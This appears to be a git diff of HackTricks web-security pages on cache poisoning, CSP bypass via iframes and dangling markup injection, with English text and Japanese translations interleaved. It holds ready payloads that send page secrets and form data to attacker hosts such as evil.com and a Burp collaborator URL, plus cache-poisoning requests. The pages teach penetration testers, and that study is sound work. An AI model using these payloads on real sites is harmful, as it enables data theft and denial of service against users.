Some websites will return an error status code if they **see some specific headers i**n the request like with the _X-Amz-Website-Location-Redirect: someThing_ header:
一部のウェブサイトは、_X-Amz-Website-Location-Redirect: someThing_ ヘッダーのように、リクエスト内の特定のヘッダーを**見ると**エラーステータスコードを返します。
```
GET /app.js HTTP/2
Host: redacted.com
@ -49,21 +42,17 @@ Cache: hit
Invalid Header
```
- **HTTPメソッドオーバーライド攻撃 (HMO)**
- **HTTP Method Override Attack (HMO)**
If the server supports changing the HTTP method with headers such as `X-HTTP-Method-Override`, `X-HTTP-Method` or `X-Method-Override`. It's possible to request a valid page changing the method so the server doesn't supports it so a bad response gets cached:
サーバーが `X-HTTP-Method-Override``X-HTTP-Method`、または `X-Method-Override` のようなヘッダーでHTTPメソッドを変更することをサポートしている場合、メソッドを変更して有効なページをリクエストすることが可能です。これにより、サーバーがサポートしていないために不正なレスポンスがキャッシュされます。
```
GET /blogs HTTP/1.1
Host: redacted.com
HTTP-Method-Override: POST
```
- **未鍵付きポート**
- **Unkeyed Port**
If port in the Host header is reflected in the response and not included in the cache key, it's possible to redirect it to an unused port:
Hostヘッダーのポートがレスポンスに反映され、キャッシュキーに含まれていない場合、未使用のポートにリダイレクトすることが可能です
```
GET /index.html HTTP/1.1
Host: redacted.com:1
@ -72,11 +61,9 @@ HTTP/1.1 301 Moved Permanently
Location: https://redacted.com:1/en/index.html
Cache: miss
```
- **ロングリダイレクトDoS**
- **Long Redirect DoS**
Like in the following example, x is not being cached, so an attacker could abuse the redirect response behaviour to make the redirect send a URL so big that it returns an error. Then, people trying to access the URL without the uncached x key will get the error response:
次の例のように、xはキャッシュされていないため、攻撃者はリダイレクト応答の動作を悪用して、リダイレクトが非常に大きなURLを送信するようにし、エラーを返すことができます。その後、キャッシュされていないxキーなしでURLにアクセスしようとする人々は、エラー応答を受け取ります
```
GET /login?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com
@ -91,11 +78,9 @@ Host: www.cloudflare.com
HTTP/1.1 414 Request-URI Too Large
CF-Cache-Status: miss
```
- **ホストヘッダーのケース正規化**
- **Host header case normalization**
The host header should be case insensitive but some websites expect it to be lowercase returning an error if it's not:
ホストヘッダーは大文字と小文字を区別しないはずですが、一部のウェブサイトは小文字であることを期待しており、そうでない場合はエラーを返します。
```
GET /img.png HTTP/1.1
Host: Cdn.redacted.com
@ -105,11 +90,9 @@ Cache:miss
Not Found
```
- **パスの正規化**
- **Path normalization**
Some pages will return error codes sending data URLencode in the path, however, the cache server with URLdecode the path and store the response for the URLdecoded path:
一部のページは、パスにデータをURLエンコードして送信するとエラーコードを返しますが、キャッシュサーバーはパスをURLデコードし、URLデコードされたパスのレスポンスを保存します。
```
GET /api/v1%2e1/user HTTP/1.1
Host: redacted.com
@ -120,11 +103,9 @@ Cach:miss
Not Found
```
- **Fat Get**
Some cache servers, like Cloudflare, or web servers, stops GET requests with a body, so this could be abused to cache a invalid response:
一部のキャッシュサーバーCloudflareなどやウェブサーバーは、ボディを持つGETリクエストを停止するため、無効なレスポンスをキャッシュするために悪用される可能性があります。
```
GET /index.html HTTP/2
Host: redacted.com
@ -136,11 +117,9 @@ xyz
HTTP/2 403 Forbidden
Cache: hit
```
## References
## 参考文献
- [https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52](https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52)
- [https://youst.in/posts/cache-poisoning-at-scale/?source=post_page-----3a829f221f52--------------------------------](https://youst.in/posts/cache-poisoning-at-scale/?source=post_page-----3a829f221f52--------------------------------)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,53 +1,52 @@
# Cache Poisoning via URL discrepancies
# URLの不一致によるキャッシュポイズニング
{{#include ../../banners/hacktricks-training.md}}
This is a summary of the techniques proposed in the post [https://portswigger.net/research/gotta-cache-em-all](https://portswigger.net/research/gotta-cache-em-all) in order to perform cache poisoning attacks **abusing discrepancies between cache proxies and web servers.**
これは、キャッシュポイズニング攻撃を実行するために提案された技術の概要です **キャッシュプロキシとウェブサーバー間の不一致を悪用することによって。**
> [!NOTE]
> The goal of this attack is to **make the cache server think that a static resource is being loaded** so it caches it while the cache server stores as cache key part of the path but the web server responds resolving another path. The web server will resolve the real path which will be loading a dynamic page (which might store sensitive information about the user, a malicious payload like XSS or redirecting to lo load a JS file from the attackers website for example).
> この攻撃の目的は、**キャッシュサーバーに静的リソースが読み込まれていると認識させること**です。これにより、キャッシュサーバーはパスの一部をキャッシュキーとして保存しながらキャッシュしますが、ウェブサーバーは別のパスを解決して応答します。ウェブサーバーは、ユーザーに関する機密情報や、XSSのような悪意のあるペイロード、または攻撃者のウェブサイトからJSファイルを読み込むためのリダイレクトを含む動的ページを読み込む実際のパスを解決します。
## Delimiters
## デリミタ
**URL delimiters** vary by framework and server, impacting how requests are routed and responses are handled. Some common origin delimiters are:
**URLデリミタ**はフレームワークやサーバーによって異なり、リクエストのルーティングやレスポンスの処理に影響を与えます。一般的なオリジンデリミタには以下があります:
- **Semicolon**: Used in Spring for matrix variables (e.g. `/hello;var=a/world;var1=b;var2=c``/hello/world`).
- **Dot**: Specifies response format in Ruby on Rails (e.g. `/MyAccount.css``/MyAccount`)
- **Null Byte**: Truncates paths in OpenLiteSpeed (e.g. `/MyAccount%00aaa``/MyAccount`).
- **Newline Byte**: Separates URL components in Nginx (e.g. `/users/MyAccount%0aaaa``/account/MyAccount`).
- **セミコロン**: Springでマトリックス変数に使用されます例: `/hello;var=a/world;var1=b;var2=c``/hello/world`)。
- **ドット**: Ruby on Railsでレスポンス形式を指定します例: `/MyAccount.css``/MyAccount`)。
- **ヌルバイト**: OpenLiteSpeedでパスを切り詰めます例: `/MyAccount%00aaa``/MyAccount`)。
- **ニューラインバイト**: NginxでURLコンポーネントを分離します例: `/users/MyAccount%0aaaa``/account/MyAccount`)。
Other specific delimiters might be found following this process:
このプロセスに従って他の特定のデリミタが見つかるかもしれません:
- **Step 1**: Identify non-cacheable requests and use them to monitor how URLs with potential delimiters are handled.
- **Step 2**: Append random suffixes to paths and compare the server's response to determine if a character functions as a delimiter.
- **Step 3**: Introduce potential delimiters before the random suffix to see if the response changes, indicating delimiter usage.
- **ステップ1**: キャッシュ不可のリクエストを特定し、それを使用して潜在的なデリミタを持つURLがどのように処理されるかを監視します。
- **ステップ2**: パスにランダムなサフィックスを追加し、サーバーの応答を比較して、文字がデリミタとして機能するかどうかを判断します。
- **ステップ3**: ランダムなサフィックスの前に潜在的なデリミタを導入し、応答が変わるかどうかを確認して、デリミタの使用を示します。
## Normalization & Encodings
## 正規化とエンコーディング
- **Purpose**: URL parsers in both cache and origin servers normalize URLs to extract paths for endpoint mapping and cache keys.
- **Process**: Identifies path delimiters, extracts and normalizes the path by decoding characters and removing dot-segments.
- **目的**: キャッシュサーバーとオリジンサーバーの両方のURLパーサーは、エンドポイントマッピングとキャッシュキーのためにパスを抽出するためにURLを正規化します。
- **プロセス**: パスデリミタを特定し、文字をデコードしてドットセグメントを削除することによってパスを抽出し、正規化します。
### **Encodings**
### **エンコーディング**
Different HTTP servers and proxies like Nginx, Node, and CloudFront decode delimiters differently, leading to inconsistencies across CDNs and origin servers that could be exploited. For example, if the web server perform this transformation `/myAccount%3Fparam``/myAccount?param` but the cache server keeps as key the path `/myAccount%3Fparam`, there is an inconsistency.&#x20;
異なるHTTPサーバーやプロキシNginx、Node、CloudFrontなどは、デリミタを異なる方法でデコードするため、CDNやオリジンサーバー間で不一致が生じる可能性があります。例えば、ウェブサーバーがこの変換を行う場合 `/myAccount%3Fparam``/myAccount?param` ですが、キャッシュサーバーがキーとしてパス `/myAccount%3Fparam` を保持している場合、不一致が生じます。&#x20;
A way to check for these inconsistencies is to send requests URL encoding different chars after loading the path without any encoding and check if the encoded path response came from the cached response.
これらの不一致を確認する方法は、パスをエンコーディングなしで読み込んだ後、異なる文字をURLエンコーディングしてリクエストを送信し、エンコードされたパスの応答がキャッシュされた応答から来たかどうかを確認することです。
### Dot segment
### ドットセグメント
The path normalization where dots are involved is also very interesting for cache poisoning attacks. For example, `/static/../home/index` or `/aaa..\home/index`, some cache servers will cache these paths with themselves ad the keys while other might resolve the path and use `/home/index` as the cache key.\
Just like before, sending these kind of requests and checking if the response was gathered from the cache helps to identify if the response to `/home/index` is the response sent when those paths are requested.
ドットが関与するパスの正規化は、キャッシュポイズニング攻撃にとって非常に興味深いものです。例えば、`/static/../home/index``/aaa..\home/index` の場合、一部のキャッシュサーバーはこれらのパスをそれ自体をキーとしてキャッシュしますが、他のサーバーはパスを解決し `/home/index` をキャッシュキーとして使用するかもしれません。\
以前と同様に、これらのリクエストを送信し、応答がキャッシュから取得されたかどうかを確認することで、`/home/index` に対する応答がこれらのパスがリクエストされたときに送信された応答であるかどうかを特定するのに役立ちます。
## Static Resources
## 静的リソース
Several cache servers will always cache a response if it's identified as static. This might be because:
いくつかのキャッシュサーバーは、応答が静的として識別される場合、常に応答をキャッシュします。これは以下の理由によるかもしれません:
- **The extension**: Cloudflare will always cache files with the following extensions: 7z, csv, gif, midi, png, tif, zip, avi, doc, gz, mkv, ppt, tiff, zst, avif, docx, ico, mp3, pptx, ttf, apk, dmg, iso, mp4, ps, webm, bin, ejs, jar, ogg, rar, webp, bmp, eot, jpg, otf, svg, woff, bz2, eps, jpeg, pdf, svgz, woff2, class, exe, js, pict, swf, xls, css, flac, mid, pls, tar, xlsx
- It's possible to force a cache storing a dynamic response by using a delimiter and a static extension like a request to `/home$image.png` will cache `/home$image.png` and the origin server will respond with `/home`
- **Well-known static directories**: The following directories contains static files and therefore their response should be cached: /static, /assets, /wp-content, /media, /templates, /public, /shared
- It's possible to force a cache storing a dynamic response by using a delimiter, a static directory and dots like: `/home/..%2fstatic/something` will cache `/static/something` and the response will be`/home`
- **Static dirs + dots**: A request to `/static/..%2Fhome` or to `/static/..%5Chome` might be cached as is but the response might be `/home`
- **Static files:** Some specific files are always cached like `/robots.txt`, `/favicon.ico`, and `/index.html`. Which can be abused like `/home/..%2Frobots.txt` where the cace might store `/robots.txt` and the origin server respond to `/home`.
- **拡張子**: Cloudflareは、以下の拡張子を持つファイルを常にキャッシュします: 7z, csv, gif, midi, png, tif, zip, avi, doc, gz, mkv, ppt, tiff, zst, avif, docx, ico, mp3, pptx, ttf, apk, dmg, iso, mp4, ps, webm, bin, ejs, jar, ogg, rar, webp, bmp, eot, jpg, otf, svg, woff, bz2, eps, jpeg, pdf, svgz, woff2, class, exe, js, pict, swf, xls, css, flac, mid, pls, tar, xlsx
- デリミタと静的拡張子を使用して動的応答をキャッシュに強制することが可能で、例えば `/home$image.png` へのリクエストは `/home$image.png` をキャッシュし、オリジンサーバーは `/home` で応答します。
- **よく知られた静的ディレクトリ**: 以下のディレクトリには静的ファイルが含まれているため、その応答はキャッシュされるべきです: /static, /assets, /wp-content, /media, /templates, /public, /shared
- デリミタ、静的ディレクトリ、ドットを使用して動的応答をキャッシュに強制することが可能で、例えば `/home/..%2fstatic/something``/static/something` をキャッシュし、応答は `/home` になります。
- **静的ディレクトリ + ドット**: `/static/..%2Fhome` へのリクエストや `/static/..%5Chome` へのリクエストはそのままキャッシュされるかもしれませんが、応答は `/home` かもしれません。
- **静的ファイル**: `/robots.txt``/favicon.ico`、および `/index.html` のような特定のファイルは常にキャッシュされます。これは `/home/..%2Frobots.txt` のように悪用される可能性があり、キャッシュは `/robots.txt` を保存し、オリジンサーバーは `/home` に応答します。
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,19 +1,14 @@
{{#include ../../banners/hacktricks-training.md}}
A configuration such as:
```
Content-Security-Policy: default-src 'self' 'unsafe-inline';
```
コードを文字列として送信する関数の使用を禁止します。例えば、`eval, setTimeout, setInterval` はすべて `unsafe-eval` の設定によりブロックされます。
Prohibits usage of any functions that execute code transmitted as a string. For example: `eval, setTimeout, setInterval` will all be blocked because of the setting `unsafe-eval`
外部ソースからのコンテンツもすべてブロックされます。これには画像、CSS、WebSocket、特にJSが含まれます。
Any content from external sources is also blocked, including images, CSS, WebSockets, and, especially, JS
### Via Text & Images
It's observed that modern browsers convert images and texts into HTML to enhance their display (e.g., setting backgrounds, centering, etc.). Consequently, if an image or text file, such as `favicon.ico` or `robots.txt`, is opened via an `iframe`, it's rendered as HTML. Notably, these pages often lack CSP headers and may not include X-Frame-Options, enabling the execution of arbitrary JavaScript from them:
### テキストと画像を介して
現代のブラウザは、表示を向上させるために画像やテキストをHTMLに変換することが観察されています背景の設定、中央揃えなど。その結果、`favicon.ico``robots.txt` のような画像やテキストファイルが `iframe` を介して開かれると、HTMLとしてレンダリングされます。特に、これらのページはCSPヘッダーを欠いていることが多く、X-Frame-Optionsが含まれていない場合があり、そこから任意のJavaScriptを実行できる可能性があります。
```javascript
frame = document.createElement("iframe")
frame.src = "/css/bootstrap.min.css"
@ -22,11 +17,9 @@ script = document.createElement("script")
script.src = "//example.com/csp.js"
window.frames[0].document.head.appendChild(script)
```
### エラー経由
### Via Errors
Similarly, error responses, like text files or images, typically come without CSP headers and might omit X-Frame-Options. Errors can be induced to load within an iframe, allowing for the following actions:
同様に、テキストファイルや画像のようなエラー応答は、通常CSPヘッダーなしで提供され、X-Frame-Optionsを省略することがあります。エラーはiframe内で読み込むように誘発でき、次のアクションを可能にします
```javascript
// Inducing an nginx error
frame = document.createElement("iframe")
@ -40,28 +33,24 @@ document.body.appendChild(frame)
// Generating an error via extensive cookies
for (var i = 0; i < 5; i++) {
document.cookie = i + "=" + "a".repeat(4000)
document.cookie = i + "=" + "a".repeat(4000)
}
frame = document.createElement("iframe")
frame.src = "/"
document.body.appendChild(frame)
// Removal of cookies is crucial post-execution
for (var i = 0; i < 5; i++) {
document.cookie = i + "="
document.cookie = i + "="
}
```
After triggering any of the mentioned scenarios, JavaScript execution within the iframe is achievable as follows:
指定されたシナリオのいずれかをトリガーした後、iframe内でのJavaScript実行は次のように実現できます:
```javascript
script = document.createElement("script")
script.src = "//example.com/csp.js"
window.frames[0].document.head.appendChild(script)
```
## References
## 参考文献
- [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,142 +1,117 @@
# Dangling Markup - HTML scriptless injection
# ダンギングマークアップ - HTML スクリプトレスインジェクション
{{#include ../../banners/hacktricks-training.md}}
## Resume
## 概要
This technique can be use to extract information from a user when an **HTML injection is found**. This is very useful if you **don't find any way to exploit a** [**XSS** ](../xss-cross-site-scripting/)but you can **inject some HTML tags**.\
It is also useful if some **secret is saved in clear text** in the HTML and you want to **exfiltrate** it from the client, or if you want to mislead some script execution.
この技術は、**HTMLインジェクションが見つかった場合**にユーザーから情報を抽出するために使用できます。これは、**[**XSS**](../xss-cross-site-scripting/)を悪用する方法が見つからない場合**に非常に便利で、**いくつかのHTMLタグを注入できる**場合に役立ちます。\
また、HTML内に**秘密が平文で保存されている**場合に、それをクライアントから**エクスフィルトレート**したり、スクリプトの実行を誤解させたりするのにも役立ちます。
Several techniques commented here can be used to bypass some [**Content Security Policy**](../content-security-policy-csp-bypass/) by exfiltrating information in unexpected ways (html tags, CSS, http-meta tags, forms, base...).
ここでコメントされた複数の技術は、情報を予期しない方法htmlタグ、CSS、httpメタタグ、フォーム、baseなどでエクスフィルトレートすることによって、いくつかの**コンテンツセキュリティポリシー**を回避するために使用できます。
## Main Applications
## 主なアプリケーション
### Stealing clear text secrets
### 平文の秘密を盗む
If you inject `<img src='http://evil.com/log.cgi?` when the page is loaded the victim will send you all the code between the injected `img` tag and the next quote inside the code. If a secret is somehow located in that chunk, you will steal i t(you can do the same thing using a double quote,take a look which could be more interesting to use).
If the `img` tag is forbidden (due to CSP for example) you can also use `<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?`
ページが読み込まれるときに`<img src='http://evil.com/log.cgi?`を注入すると、被害者は注入された`img`タグとコード内の次の引用符の間のすべてのコードを送信します。そのチャンクに秘密が含まれている場合、あなたはそれを盗むことになります(ダブルクオートを使用して同じことを行うこともでき、どちらがより興味深いかを確認してください)。
`img`タグが禁止されている場合例えばCSPのため`<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?`を使用することもできます。
```html
<img src='http://attacker.com/log.php?HTML=
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=
```
注意してください、**Chromeは"<"または"\n"を含むHTTP URLをブロックします**。そのため、"ftp"のような他のプロトコルスキームを試すことができます。
Note that **Chrome blocks HTTP URLs** with "<" or "\n" in it, so you could try other protocol schemes like "ftp".
You can also abuse CSS `@import` (will send all the code until it find a ";")
また、CSS `@import`を悪用することもできます(";"が見つかるまで全てのコードを送信します)。
```html
<style>@import//hackvertor.co.uk? <--- Injected
<b>steal me!</b>;
```
You could also use **`<table`**:
**`<table`**を使用することもできます:
```html
<table background='//your-collaborator-id.burpcollaborator.net?'
```
You could also insert a `<base` tag. All the information will be sent until the quote is closed but it requires some user interaction (the user must click in some link, because the base tag will have changed the domain pointed by the link):
`<base` タグを挿入することもできます。すべての情報は引用が閉じられるまで送信されますが、いくつかのユーザー操作が必要ですユーザーはリンクをクリックする必要があります。なぜなら、base タグがリンクが指すドメインを変更するからです):
```html
<base target=' <--- Injected
steal me'<b>test</b>
```
### Stealing forms
### フォームの盗難
```html
<base href="http://evil.com/" />
```
次に、データをパスに送信するフォーム(例えば `<form action='update_profile.php'>`)は、悪意のあるドメインにデータを送信します。
Then, the forms that send data to path (like `<form action='update_profile.php'>`) will send the data to the malicious domain.
### フォームの盗難 2
### Stealing forms 2
フォームヘッダーを設定します:`<form action='http://evil.com/log_steal'>` これにより、次のフォームヘッダーが上書きされ、フォームからのすべてのデータが攻撃者に送信されます。
Set a form header: `<form action='http://evil.com/log_steal'>` this will overwrite the next form header and all the data from the form will be sent to the attacker.
### Stealing forms 3
The button can change the URL where the information of the form is going to be sent with the attribute "formaction":
### フォームの盗難 3
ボタンは、属性 "formaction" を使用して、フォームの情報が送信されるURLを変更できます
```html
<button name="xss" type="submit" formaction="https://google.com">
I get consumed!
I get consumed!
</button>
```
攻撃者はこれを使用して情報を盗むことができます。
An attacker can use this to steal the information.
この攻撃の[**例をこの文書で見つけてください**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp)。
Find an [**example of this attack in this writeup**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp).
### Stealing clear text secrets 2
Using the latest mentioned technique to steal forms (injecting a new form header) you can then inject a new input field:
### プレーンテキストの秘密を盗む 2
最新の技術を使用してフォームを盗む(新しいフォームヘッダーを注入する)ことで、新しい入力フィールドを注入することができます:
```html
<input type='hidden' name='review_body' value="
```
この入力フィールドには、HTML内の二重引用符の間のすべてのコンテンツと次の二重引用符が含まれます。この攻撃は、"_**Stealing clear text secrets**_" と "_**Stealing forms2**_" を組み合わせています。
and this input field will contain all the content between its double quote and the next double quote in the HTML. This attack mix the "_**Stealing clear text secrets**_" with "_**Stealing forms2**_".
You can do the same thing injecting a form and an `<option>` tag. All the data until a closed `</option>` is found will be sent:
フォームと `<option>` タグを注入することで同じことができます。閉じた `</option>` が見つかるまでのすべてのデータが送信されます:
```html
<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option
```
### フォームパラメータインジェクション
### Form parameter injection
You can change the path of a form and insert new values so an unexpected action will be performed:
フォームのパスを変更し、新しい値を挿入することで、予期しないアクションが実行されるようにできます:
```html
<form action="/change_settings.php">
<input type="hidden" name="invite_user" value="fredmbogo" /> ← Injected lines
<input type="hidden" name="invite_user" value="fredmbogo" /> ← Injected lines
<form action="/change_settings.php">
← Existing form (ignored by the parser) ...
<input type="text" name="invite_user" value="" /> ← Subverted field ...
<input type="hidden" name="xsrf_token" value="12345" />
...
</form>
<form action="/change_settings.php">
← Existing form (ignored by the parser) ...
<input type="text" name="invite_user" value="" /> ← Subverted field ...
<input type="hidden" name="xsrf_token" value="12345" />
...
</form>
</form>
```
### ノースクリプトを介したクリアテキストシークレットの盗難
### Stealing clear text secrets via noscript
`<noscript></noscript>` Is a tag whose content will be interpreted if the browser doesn't support javascript (you can enable/disable Javascript in Chrome in [chrome://settings/content/javascript](chrome://settings/content/javascript)).
A way to exfiltrate the content of the web page from the point of injection to the bottom to an attacker controlled site will be injecting this:
`<noscript></noscript>` は、ブラウザがJavaScriptをサポートしていない場合にその内容が解釈されるタグですChromeでは [chrome://settings/content/javascript](chrome://settings/content/javascript) でJavaScriptを有効/無効にできます)。
攻撃者が制御するサイトに対して、注入ポイントからページの内容を下部まで抽出する方法は、これを注入することです:
```html
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
```
### ユーザーインタラクションを用いたCSPのバイパス
### Bypassing CSP with user interaction
From this [portswiggers research](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup) you can learn that even from the **most CSP restricted** environments you can still **exfiltrate data** with some **user interaction**. In this occasion we are going to use the payload:
この[portswiggersの研究](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup)から、**最もCSPが制限された**環境でも、**ユーザーインタラクション**を用いることで**データを抽出**できることがわかります。この場合、ペイロードを使用します:
```html
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='
```
Note that you will ask the **victim** to **click on a link** that will **redirect** him to **payload** controlled by you. Also note that the **`target`** attribute inside the **`base`** tag will contain **HTML content** until the next single quote.\
This will make that the **value** of **`window.name`** if the link is clicked is going to be all that **HTML content**. Therefore, as you **control the page** where the victim is accessing by clicking the link, you can access that **`window.name`** and **exfiltrate** that data:
注意してください、あなたは**犠牲者**に**リンクをクリック**させ、そのリンクが**あなたが制御するペイロード**に**リダイレクト**するようにします。また、**`base`**タグ内の**`target`**属性は次の単一引用符までの**HTMLコンテンツ**を含むことに注意してください。\
これにより、リンクがクリックされた場合の**`window.name`**の**値**はすべてその**HTMLコンテンツ**になります。したがって、あなたがリンクをクリックすることで犠牲者がアクセスしているページを**制御**しているため、その**`window.name`**にアクセスしてそのデータを**抽出**することができます。
```html
<script>
if(window.name) {
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
if(window.name) {
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
</script>
```
### 誤解を招くスクリプトワークフロー 1 - HTML 名前空間攻撃
### Misleading script workflow 1 - HTML namespace attack
Insert a new tag with and id inside the HTML that will overwrite the next one and with a value that will affect the flow of a script. In this example you are selecting with whom a information is going to be shared:
HTML内に新しいタグを挿入し、次のタグを上書きするidを持たせ、スクリプトの流れに影響を与える値を設定します。この例では、情報が誰と共有されるかを選択しています
```html
<input type="hidden" id="share_with" value="fredmbogo" /> ← Injected markup ...
Share this status update with: ← Legitimate optional element of a dialog
@ -145,11 +120,9 @@ Share this status update with: ← Legitimate optional element of a dialog
... function submit_status_update() { ... request.share_with =
document.getElementById('share_with').value; ... }
```
### 誤解を招くスクリプトワークフロー 2 - スクリプトネームスペース攻撃
### Misleading script workflow 2 - Script namespace attack
Create variables inside javascript namespace by inserting HTML tags. Then, this variable will affect the flow of the application:
HTMLタグを挿入することで、javascriptネームスペース内に変数を作成します。次に、この変数がアプリケーションのフローに影響を与えます
```html
<img id="is_public" /> ← Injected markup ... // Legitimate application code
follows function retrieve_acls() { ... if (response.access_mode == AM_PUBLIC) ←
@ -157,85 +130,74 @@ The subsequent assignment fails in IE is_public = true; else is_public = false;
} function submit_new_acls() { ... if (is_public) request.access_mode =
AM_PUBLIC; ← Condition always evaluates to true ... }
```
### JSONPの悪用
### Abuse of JSONP
If you find a JSONP interface you could be able to call an arbitrary function with arbitrary data:
JSONPインターフェースを見つけた場合、任意のデータで任意の関数を呼び出すことができるかもしれません:
```html
<script src='/editor/sharing.js'>: Legitimate script
function set_sharing(public) {
if (public) request.access_mode = AM_PUBLIC;
else request.access_mode = AM_PRIVATE;
...
}
function set_sharing(public) {
if (public) request.access_mode = AM_PUBLIC;
else request.access_mode = AM_PRIVATE;
...
}
<script src='/search?q=a&call=set_sharing'>: Injected JSONP call
set_sharing({ ... })
set_sharing({ ... })
```
Or you can even try to execute some javascript:
また、いくつかのjavascriptを実行してみることもできます:
```html
<script src="/search?q=a&call=alert(1)"></script>
```
### Iframeの悪用
### Iframe abuse
A child document possesses the capability to view and modify the `location` property of its parent, even in cross-origin situations. This allows the embedding of a script within an **iframe** that can redirect the client to an arbitrary page:
子文書は、クロスオリジンの状況でも親の`location`プロパティを表示および変更する能力を持っています。これにより、クライアントを任意のページにリダイレクトできる**iframe**内にスクリプトを埋め込むことが可能になります:
```html
<html>
<head></head>
<body>
<script>
top.window.location = "https://attacker.com/hacked.html"
</script>
</body>
<head></head>
<body>
<script>
top.window.location = "https://attacker.com/hacked.html"
</script>
</body>
</html>
```
これを軽減するには、次のようなものを使用できます: `sandbox=' allow-scripts allow-top-navigation'`
This can be mitigated with something like: `sandbox=' allow-scripts allow-top-navigation'`
An iframe can also be abused to leak sensitive information from a different page **using the iframe name attribute**. This is because you can create an iframe that iframes itself abusing the HTML injection that makes the **sensitive info appear inside the iframe name attribute** and then access that name from the initial iframe and leak it.
iframeは、**iframeのname属性を使用して**、別のページから機密情報を漏洩させるためにも悪用される可能性があります。これは、HTMLインジェクションを悪用して**機密情報がiframeのname属性内に表示される**ようにするiframeを作成でき、そのnameを最初のiframeからアクセスして漏洩させることができるためです。
```html
<script>
function cspBypass(win) {
win[0].location = "about:blank"
setTimeout(() => alert(win[0].name), 500)
}
function cspBypass(win) {
win[0].location = "about:blank"
setTimeout(() => alert(win[0].name), 500)
}
</script>
<iframe
src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27"
onload="cspBypass(this.contentWindow)"></iframe>
src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27"
onload="cspBypass(this.contentWindow)"></iframe>
```
For more info check [https://portswigger.net/research/bypassing-csp-with-dangling-iframes](https://portswigger.net/research/bypassing-csp-with-dangling-iframes)
### \<meta abuse
You could use **`meta http-equiv`** to perform **several actions** like setting a Cookie: `<meta http-equiv="Set-Cookie" Content="SESSID=1">` or performing a redirect (in 5s in this case): `<meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />`
**`meta http-equiv`** を使用して、Cookieを設定するなどの**いくつかのアクション**を実行できます: `<meta http-equiv="Set-Cookie" Content="SESSID=1">` またはリダイレクトを実行することができますこの場合は5秒後: `<meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />`
This can be **avoided** with a **CSP** regarding **http-equiv** ( `Content-Security-Policy: default-src 'self';`, or `Content-Security-Policy: http-equiv 'self';`)
これは、**http-equiv** に関する **CSP** で**回避**できます( `Content-Security-Policy: default-src 'self';` または `Content-Security-Policy: http-equiv 'self';`
### New \<portal HTML tag
You can find a very **interesting research** on exploitable vulnerabilities of the \<portal tag [here](https://research.securitum.com/security-analysis-of-portal-element/).\
At the moment of this writing you need to enable the portal tag on Chrome in `chrome://flags/#enable-portals` or it won't work.
\<portal タグの脆弱性に関する非常に**興味深い研究**を[こちら](https://research.securitum.com/security-analysis-of-portal-element/)で見つけることができます。\
この文書を書いている時点では、`chrome://flags/#enable-portals` でポータルタグを有効にする必要があります。そうしないと機能しません。
```html
<portal src='https://attacker-server?
```
### HTML Leaks
Not all the ways to leak connectivity in HTML will be useful for Dangling Markup, but sometimes it could help. Check them here: [https://github.com/cure53/HTTPLeaks/blob/master/leak.html](https://github.com/cure53/HTTPLeaks/blob/master/leak.html)
HTMLにおける接続漏洩のすべての方法がDangling Markupに役立つわけではありませんが、時には役立つことがあります。ここで確認してください: [https://github.com/cure53/HTTPLeaks/blob/master/leak.html](https://github.com/cure53/HTTPLeaks/blob/master/leak.html)
## SS-Leaks
This is a **mix** between **dangling markup and XS-Leaks**. From one side the vulnerability allows to **inject HTML** (but not JS) in a page of the **same origin** of the one we will be attacking. On the other side we won't **attack** directly the page where we can inject HTML, but **another page**.
これは**dangling markupとXS-Leaksの** **ミックス**です。一方で、この脆弱性は**同じオリジン**のページに**HTMLを注入**することを可能にしますが、他方で、**HTMLを注入**できるページを直接**攻撃**するのではなく、**別のページ**を攻撃します。
{{#ref}}
ss-leaks.md
@ -243,7 +205,7 @@ ss-leaks.md
## XS-Search/XS-Leaks
XS-Search are oriented to **exfiltrate cross-origin information** abusing **side channel attacks**.Therefore, it's a different technique than Dangling Markup, however, some of the techniques abuse the inclusion of HTML tags (with and without JS execution), like [**CSS Injection**](../xs-search/#css-injection) or [**Lazy Load Images**](../xs-search/#image-lazy-loading)**.**
XS-Searchは**サイドチャネル攻撃**を悪用して**クロスオリジン情報を抽出**することを目的としています。したがって、これはDangling Markupとは異なる技術ですが、一部の技術はHTMLタグの挿入JS実行の有無にかかわらずを悪用します。例えば、[**CSS Injection**](../xs-search/#css-injection)や[**Lazy Load Images**](../xs-search/#image-lazy-loading)**です。**
{{#ref}}
../xs-search/
@ -261,4 +223,3 @@ XS-Search are oriented to **exfiltrate cross-origin information** abusing **side
- [https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,7 +2,6 @@
{{#include ../../banners/hacktricks-training.md}}
